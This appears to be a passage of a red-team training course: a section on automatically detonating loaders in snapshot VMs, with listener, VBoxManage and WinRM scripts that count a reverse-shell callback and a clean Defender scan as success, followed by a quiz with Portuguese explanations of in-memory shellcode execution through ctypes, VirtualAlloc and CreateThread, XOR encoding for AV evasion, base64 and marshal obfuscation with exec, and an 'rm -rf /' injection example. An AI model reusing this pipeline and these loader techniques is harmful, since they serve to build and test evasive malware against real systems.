"If it breaks a lab box, fix it —before it ever lands on prod."

This stage is a **safety bump-stop** between the build pipeline (§ 5.5) and live deployment: every loader, stager and wrapper is detonated inside a fresh virtual machine, watched for network callback, scanned by local AV, and then the VM is torn down.
All results (hash, sandbox verdict, callback IP) are written back to `exploits.db → payloads` so auditors can trace that *every* artefact was tested.

5.6.0 Validation Goals

Check	Pass condition
Execution	Payload runs without crash (non-zero exit)
Callback	Reverse shell / beacon hits listener **within 30 s**
AV scan (Defender/ClamAV)	"No threats found"
IOCs (ETW/YARA quick scan)	None of your *internal* YARA rules trigger
No persistence left	Snapshot diff → zero new files/registry keys after revert

---

5.6.1 Tool Stack for Validation

Layer	Tool / API	Why
VM orchestration	**VirtualBox + VBoxManage**	Ships on Windows/Linux, easy CLI
Guest command exec (Win)	**WinRM over pypsrp**	Pure Python, no agent install
Guest command exec (Lin)	**SSH (paramiko)**	Already used in Module 4
Network callback check	Custom **listener.py**	Logs payload hash → “callback OK”
AV scan inside guest	MpCmdRun.exe / clamscan	CLI, script-friendly
Results store	exploits.db → validation	Single source of truth

```sql
CREATE TABLE IF NOT EXISTS validation
 (sha256 TEXT PRIMARY KEY,
  av_result TEXT, exec_rc INT, callback INT, notes TEXT, ts INT);
```

5.6.2 One-Shot Listener (host)

```python
# listener.py — keeps running during validation loop
import socket, threading, datetime, queue
Q = queue.Queue()

def serve():
    s = socket.socket(); s.bind(("0.0.0.0", 443)); s.listen()
    while True:
        c, a = s.accept()
        data = c.recv(128)     # loader sends first 4 bytes of its SHA-256
        Q.put(data.hex())
        c.close()
```

```
threading.Thread(target=serve, daemon=True).start()
```

5.6.3 Disposable-VM Workflow

```
+---------+      VBoxManage snapshot → restore
|  Host   |-------------------------------------------+
| (Python)|                                           |
+---------+                                           |
     | copy EXE via shared folder                     |
     | WinRM run: Defender quick-scan                 |
     | WinRM run: loader.exe (hidden)                 |
     | wait 60 s …                                    |
     | if sha in listener Q  ——> callback=1           |
     | collect exit code                              |
     | VBoxManage controlvm poweroff + restore        |
     +-----------------------------------------------+
```

5.6.4 Automation Script (`validate_vm.py`) – commented

```
#!/usr/bin/env python3
"""
validate_vm.py
--------------
• Restores Win10 snapshot
• Copies loader.exe
• Runs Defender scan + executes loader
• Records results → exploits.db.validation
```

```python
"""
from __future__ import annotations
import subprocess, pathlib, time, sqlite3, os, json, paramiko, base64
from pypsrp.client import Client

# ---------- config ------------------------------------------------------
VM_NAME      = "WIN10-VALID"                  # VBox VM
SNAPSHOT     = "clean"                        # snapshot name
SHARED       = pathlib.Path("build/loader")   # host side
GUEST_FOLDER = "C:\\Users\\Public"            # guest side
LOADER       = SHARED / "final_loader.exe"

WINRM_CREDS  = dict(server="127.0.0.1", port=5985,
                    username="lab", password="P@ssw0rd!")

DB = sqlite3.connect("exploits.db")
sha = DB.execute("SELECT sha256 FROM payloads WHERE file=?", (LOADER.name,)).fetchone()[0]

# ---------- VBox helpers ------------------------------------------------
def vbox(cmd: str):
    subprocess.check_call(f"VBoxManage {cmd}", shell=True)

def revert_vm():
    vbox(f"controlvm {VM_NAME} poweroff")
    vbox(f"snapshot {VM_NAME} restore {SNAPSHOT}")
    vbox(f"startvm {VM_NAME} --type headless")
    time.sleep(40)                            # boot buffer

# ---------- WinRM helper ------------------------------------------------
def winrm(cmd: str, hidden=True, timeout=30):
    cli = Client(**WINRM_CREDS, ssl=False)
    shell, stdout, stderr = cli.execute_cmd(
        "cmd.exe", ["/c", cmd], timeout=timeout,
        no_profile=hidden,  working_directory="C:\\")
```

```python
    return stdout.decode(), stderr.decode()

# ---------- run validation ----------------------------------------------
revert_vm()
# copy via shared folder (already mounted by VBox Guest Additions)
guest_path = f"{GUEST_FOLDER}\\{LOADER.name}"
subprocess.check_call(f'copy "{LOADER}" "{guest_path}"', shell=True)

print("[*] Defender scan…")
scan_out, _ = winrm(f'MpCmdRun.exe -Scan -ScanType 3 -File "{guest_path}"')
av = "CLEAN" if "no threats" in scan_out.lower() else scan_out.strip()[:60]

print("[*] Executing loader…")
out, err = winrm(f'powershell -w hidden -c Start-Process "{guest_path}" -WindowStyle Hidden', timeout=5)
# let payload phone home
time.sleep(60)
callback = int(sha[:4] in open("listener.log").read())  # simple check

print("[*] Powering off VM")
vbox(f"controlvm {VM_NAME} poweroff")

DB.execute("""INSERT OR REPLACE INTO validation
             VALUES (?,?,?,?,?,strftime('%s'))""",
           (sha, av, 0, callback, "Win10-defender",))
DB.commit(); DB.close()

print(f"[✓] SHA {sha[:8]} AV={av} callback={callback}")
```

Key inline explanations

- **Shared folder** avoids SMB/WinRM upload (faster, simple).
- Defender scan uses built-in CLI `MpCmdRun.exe`.
- Loader sends first 4 bytes of its own SHA to listener; simple, unique check.

- VM always returns to snapshot = no artefacts, no AV state change.

5.6.5 Integrate into CI (build → validate)

Add job after `bundle` (5.5):

```yaml
validate:
  stage: validate
  script:
    - make validate                  # wrapper runs validate_vm.py
  when: manual                       # red-team lead click
  dependencies: [bundle]
  artifacts:
    paths: [exploits.db]
    expire_in: 3 days
```

5.6.6 Linux Validation Variant (QEMU + SSH)

- Spin `qemu-system-x86_64` with snapshot overlay.
- Copy `loader_elf` via `scp`.
- SSH run `clamscan loader_elf` → execute.
- Wait for callback on port 4444.
- `qemu monitor` → `quit`.

(Python code identical in spirit; use `paramiko` and `pexpect`.)

5.6.7 Exercises

#	Challenge	Hint
1	Parse Defender scan XML log C:\ProgramData\Microsoft\Windows Defender\Support\MPSupportFiles*.	EventID 1116
2	Add **YARA** scan inside guest (sigtool --yara-rules); fail pipeline if any rule triggers.	Copy rules via same shared folder.
3	Implement **screenshot on error**: if loader crashes, pull win+shift+s capture via PowerShell.	Add-Type -AssemblyName System.Drawing
4	Automate **multiple VMs** (Win 10, Win 11, Server 2022) and aggregate validation rows.	Loop for vm in list: in script.
5	Tie validation to **ATT&CK ID** coverage: mark validation rows with T1059.003 (PowerShell) etc.	Add column technique.

5.6.8 Completion Checklist

- Validation entry exists in `exploits.db → validation` for each loader hash.
- Callback detected (`callback=1`), AV result “CLEAN”.
- VM reverts to base snapshot automatically every run.
- Pipeline shows manual “validate” job; running it re-tests fresh build.
- No leftover artefacts in VM disks verified by diff snapshots or Hash insight.

1. Which Python module allows in-memory execution of shellcode?

- A) ctypes
- B) pickle
- C) platform
- D) uuid

✅ **Resposta correta: A) ctypes**

Explicação

O módulo **ctypes** permite que Python **interaja diretamente com funções da linguagem C** e manipule **memória de baixo nível**.

Isso possibilita **executar shellcode diretamente na memória**, técnica comum em:

- **exploit development**
- **fileless malware**
- **in-memory payload execution**
- **red team tooling**

Exemplo simplificado

```
import ctypes

shellcode = b"\x90\x90\x90\x90"

buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(None))
```

```
func()
```

O que acontece:

1️⃣ Shellcode é carregado em memória

2️⃣ ctypes converte o buffer em uma **função executável**

3️⃣ A função é chamada → **shellcode executa**

Por que as outras estão erradas?

- **B) pickle** ❌ Usado para **serialização de objetos**.
- **C) platform** ❌ Retorna **informações do sistema operacional**.
- **D) uuid** ❌ Gera **identificadores únicos**.

✅ **Resposta final: A) ctypes**

2. What is the purpose of bytearray.fromhex("fc4883e4f0e8") in payload generation?

- ◯ A) Escape JSON
- ◯ B) Decode base64
- ◯ C) Create XOR keys
- ◯ D) Convert hex to shellcode buffer

✅ **Resposta correta: D) Convert hex to shellcode buffer**

Explicação

A função **bytearray.fromhex()** converte uma **string hexadecimal** em um **buffer de bytes**.

Em **exploit development**, isso é frequentemente usado para transformar **shellcode em formato hex** em um **buffer executável em memória**.

Exemplo

```
shellcode = bytearray.fromhex("fc4883e4f0e8")
print(shellcode)
```

Saída:

```
bytearray(b'\xfcH\x83\xe4\xf0\xe8')
```

Agora esses bytes podem ser usados para:

- carregar **shellcode**
- enviar **payloads binários**
- executar código em memória (ex: com ctypes)

Fluxo típico em exploits

```
import ctypes

shellcode = bytearray.fromhex("fc4883e4f0e8")

buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(None))
```

```
func()
```

Isso:

1️⃣ converte **hex → bytes**

2️⃣ coloca na **memória**

3️⃣ executa o **shellcode**

Por que as outras estão erradas?

- **A) Escape JSON** ❌
- **B) Decode base64** ❌
- **C) Create XOR keys** ❌

Nenhuma delas corresponde ao comportamento de fromhex().

✅ **Resposta final: D) Convert hex to shellcode buffer**

3. How do you XOR a payload with a key in Python?

- ◯ A) Use os.xor()
- ◯ B) Use list comprehension with ^ operator
- ◯ C) Use eval()
- ◯ D) Use socket.recv()

✅ **Resposta correta: B) Use list comprehension with ^ operator**

Explicação

O operador **^** em Python realiza a operação **XOR bit a bit** entre dois valores.

Para aplicar XOR em um **payload (sequência de bytes)** com uma **chave**, normalmente usamos **list comprehension** ou **bytearray comprehension**.

Exemplo

```
payload = b"secret"
key = 0xAA

encoded = bytes([b ^ key for b in payload])
print(encoded)
```

O que acontece:

1️⃣ Cada byte do payload é percorrido

2️⃣ Aplicamos **XOR com a chave** (b ^ key)

3️⃣ Criamos um novo buffer de bytes

Exemplo mais realista (key cycling)

```
payload = b"\xfc\x48\x83\xe4"
key = b"\xaa\xbb"

encoded = bytes([payload[i] ^ key[i % len(key)] for i in range(len(payload))])
```

Isso é muito usado em:

- **shellcode encoding**
- **AV evasion**
- **payload obfuscation**
- **malware packing**

Por que as outras estão erradas?

- **A) os.xor()** ❌ Essa função **não existe**.
- **C) eval()** ❌ Executa código Python.
- **D) socket.recv()** ❌ Recebe dados da rede.

✅ **Resposta final: B) Use list comprehension with ^ operator**

4. Which library allows shellcode execution from memory in Windows using Python?

- ◯ A) ctypes.windll.kernel32.VirtualAlloc
- ◯ B) urllib.request
- ◯ C) base64.b64encode
- ◯ D) json.dumps

✅ **Resposta correta: A) ctypes.windll.kernel32.VirtualAlloc**

Explicação

No Windows, a execução de **shellcode em memória** geralmente usa APIs da **Win32** como:

- VirtualAlloc() → aloca memória executável

- RtlMoveMemory() → copia o shellcode
- CreateThread() → executa o shellcode

Em Python isso é acessado via **ctypes**, chamando funções da DLL **kernel32.dll**.

Exemplo simplificado

```
import ctypes

shellcode = b"\x90\x90\x90\x90"

kernel32 = ctypes.windll.kernel32

addr = kernel32.VirtualAlloc(
    None,
    len(shellcode),
    0x3000,
    0x40
)

ctypes.memmove(addr, shellcode, len(shellcode))

thread = kernel32.CreateThread(
    None,
    0,
    addr,
    None,
    0,
    None
)

kernel32.WaitForSingleObject(thread, -1)
```

Fluxo:

1️⃣ VirtualAlloc cria memória executável

2️⃣ Shellcode é copiado para essa memória

3️⃣ CreateThread executa o payload

Essa técnica é comum em:

- **in-memory shellcode loaders**
- **fileless malware**
- **red team tooling**
- **AV evasion**

Por que as outras estão erradas?

- **B) urllib.request** ❌ Usado para **requisições HTTP**.
- **C) base64.b64encode** ❌ Apenas **codifica dados em Base64**.
- **D) json.dumps** ❌ Converte objetos Python em **JSON**.

✅ **Resposta final: A) ctypes.windll.kernel32.VirtualAlloc**

5. What's the use of marshal or base64 in payload obfuscation?

- ◯ A) Generate payloads
- ◯ B) Encode malicious scripts to avoid detection
- ◯ C) Bind ports
- ◯ D) Kill antivirus

✅ **Resposta correta: B) Encode malicious scripts to avoid detection**

Explicação

Os módulos **marshal** e **base64** são frequentemente usados em **obfuscation de payloads** para **codificar scripts ou shellcode**, dificultando a detecção por ferramentas de segurança.

Eles **não criam o payload**, apenas o **transformam em uma forma codificada** que pode ser:

- escondida no código
- enviada pela rede
- carregada dinamicamente

Exemplo com Base64

```
import base64

payload = "import os; os.system('whoami')"
encoded = base64.b64encode(payload.encode())

print(encoded)
```

Depois o script pode **decodificar e executar**:

```
exec(base64.b64decode(encoded))
```

Exemplo com marshal

marshal pode serializar bytecode Python:

```
import marshal

code = compile("print('hello')", "<string>", "exec")
payload = marshal.dumps(code)
```

Depois pode ser executado:

```
exec(marshal.loads(payload))
```

Por que isso é usado em exploits/malware

Essas técnicas ajudam a:

- esconder **strings maliciosas**
- evitar **assinaturas estáticas**
- dificultar **análise de código**

Por que as outras opções estão erradas

- **A) Generate payloads** ❌ Apenas codificam, não geram payload.
- **C) Bind ports** ❌ Não tem relação com rede.
- **D) Kill antivirus** ❌ Não executam ações contra AV.

✅ **Resposta final: B) Encode malicious scripts to avoid detection**

6. What is the correct method to write a .exe from Python-generated payloads?

- ◯ A) with open("payload.exe", "wb") as f:
- ◯ B) os.popen()
- ◯ C) eval("...")
- ◯ D) str().encode()

✅ **Resposta correta: A) with open("payload.exe", "wb") as f:**

Explicação

Para escrever um **arquivo executável (.exe)** gerado em Python, é necessário **gravar bytes em modo binário**.

O modo correto é **"wb" (write binary)**.

Exemplo

```
payload = b"\x4d\x5a\x90\x00"  # início típico de um executável PE (MZ)

with open("payload.exe", "wb") as f:
    f.write(payload)
```

O que acontece:

1️⃣ O arquivo payload.exe é criado

2️⃣ O Python escreve os **bytes binários** no disco

3️⃣ O arquivo resultante pode ser executado no Windows

Por que usar

"wb"

?

Executáveis contêm **dados binários**, não texto.

Se usar "w" normal, o arquivo pode **corromper os bytes**.

Por que as outras estão erradas?

- **B) os.popen()** ❌ Executa comandos do sistema, não escreve arquivos.
- **C) eval()** ❌ Executa código Python.
- **D) str().encode()** ❌ Apenas converte string em bytes, não salva arquivo.

✅ **Resposta final: A) with open("payload.exe", "wb") as f:**

7. What does exec() allow in obfuscated payloads?

- ◯ A) HTTP scraping
- ◯ B) Port scanning
- ◯ C) Dynamic code execution at runtime
- ◯ D) Registry read

✅ **Resposta correta: C) Dynamic code execution at runtime**

Explicação

A função **exec()** em Python executa **código Python dinamicamente durante a execução do programa**.

Isso significa que o código pode ser:

- **gerado em tempo de execução**
- **decodificado de um payload**
- **carregado de uma string ou buffer**
- **executado dinamicamente**

Exemplo

```
code = "print('Hello from payload')"
exec(code)
```

Saída:

```
Hello from payload
```

Uso comum em payloads ofuscados

Exemplo típico com **base64**:

```
import base64

payload = "cHJpbnQoIkhlbGxvIik="
exec(base64.b64decode(payload))
```

Fluxo:

1️⃣ Payload é **codificado**

2️⃣ Script **decodifica** em runtime

3️⃣ **exec() executa o código**

Isso é usado para:

- **obfuscação**
- **loader de payload**
- **fileless execution**
- **malware staging**

Por que as outras estão erradas

- **A) HTTP scraping** ❌
- **B) Port scanning** ❌
- **D) Registry read** ❌

Nenhuma dessas funções é realizada por exec().

✅ **Resposta final: C) Dynamic code execution at runtime**

8. What technique would best hide a Python script in plain sight?

- A) String concatenation + base64 obfuscation
- B) Thread.sleep
- C) Markdown comments
- D) Print delay

✅ **Resposta correta: A) String concatenation + base64 obfuscation**

Explicação

A técnica de **concatenar strings + codificar em base64** é uma forma comum de **obfuscação**, usada para esconder o verdadeiro código de forma que ele não seja facilmente identificado em uma leitura direta do script.

O código pode parecer inocente, mas na execução ele **reconstrói e executa o payload real**.

Exemplo

Código ofuscado:

```
import base64

part1 = "aW1wb3J0IG9z"
part2 = "OyBvcy5zeXN0ZW0oJ3dob2FtaScp"

payload = part1 + part2
exec(base64.b64decode(payload))
```

Quando decodificado:

```
import os
os.system('whoami')
```

Por que isso “esconde em plain sight”?

Porque:

- o código real está **codificado**
- o payload pode ser **quebrado em várias strings**
- ferramentas de análise estática têm mais dificuldade em detectar

Por que as outras opções estão erradas?

- **B) Thread.sleep** ❌ Apenas pausa execução.
- **C) Markdown comments** ❌ Python nem usa markdown.
- **D) Print delay** ❌ Não esconde código.

✅ **Resposta final: A) String concatenation + base64 obfuscation**

9. Why is using compile(source, filename, 'exec') dangerous?

- ◯ A) Allows runtime code injection
- ◯ B) Crashes Python
- ◯ C) Encrypts the file
- ◯ D) Deletes variables

✅ **Resposta correta: A) Allows runtime code injection**

Explicação

A função **compile()** converte uma **string de código Python em bytecode executável**.

Quando usada com o modo **'exec'**, ela permite compilar **blocos completos de código**, que podem depois ser executados com exec().

Exemplo

```
source = "import os; os.system('whoami')"

code = compile(source, "<string>", "exec")
exec(code)
```

Fluxo:

1️⃣ Código é recebido como **string**

2️⃣ compile() transforma em **bytecode Python**

3️⃣ exec() executa o código

Por que isso é perigoso?

Se o **source vier de entrada externa**, um atacante pode injetar código:

```
user_input = input("Enter code: ")

code = compile(user_input, "<input>", "exec")
exec(code)
```

Um atacante poderia inserir:

```
__import__('os').system('rm -rf /')
```

Isso resultaria em **Remote Code Execution (RCE)**.

Por que as outras estão erradas?

- **B) Crashes Python** ❌ compile() não causa crash.
- **C) Encrypts the file** ❌ Não tem relação com criptografia.
- **D) Deletes variables** ❌ Não apaga variáveis automaticamente.

✅ **Resposta final: A) Allows runtime code injection**

10. What is a safe way to test obfuscated code locally?

- ◯ A) Use root laptop
- ◯ B) Run as admin
- ◯ C) Use id()
- ◯ D) Use a VM or container

✅ **Resposta correta: D) Use a VM or container**

Explicação

A maneira mais segura de testar **código ofuscado ou potencialmente malicioso** é executá-lo em um **ambiente isolado**.

Isso pode ser:

- **Máquina virtual (VM)**

    - VirtualBox
    - VMware
    - Hyper-V
- **Container**
    - Docker
    - Podman

Esse isolamento impede que o código:

- comprometa o sistema principal
- acesse dados pessoais
- altere o sistema operacional host
- se espalhe na rede

Exemplo de prática comum em segurança

Pesquisadores normalmente usam:

- **VM + snapshot**
- **rede isolada (host-only)**
- **ambiente descartável**

Por que as outras opções estão erradas?

- **A) Use root laptop** ❌ Isso aumenta o risco.
- **B) Run as admin** ❌ Também aumenta o impacto de um código malicioso.
- **C) Use id()** ❌ Apenas mostra o ID de um objeto Python.

✅ **Resposta final: D) Use a VM or container**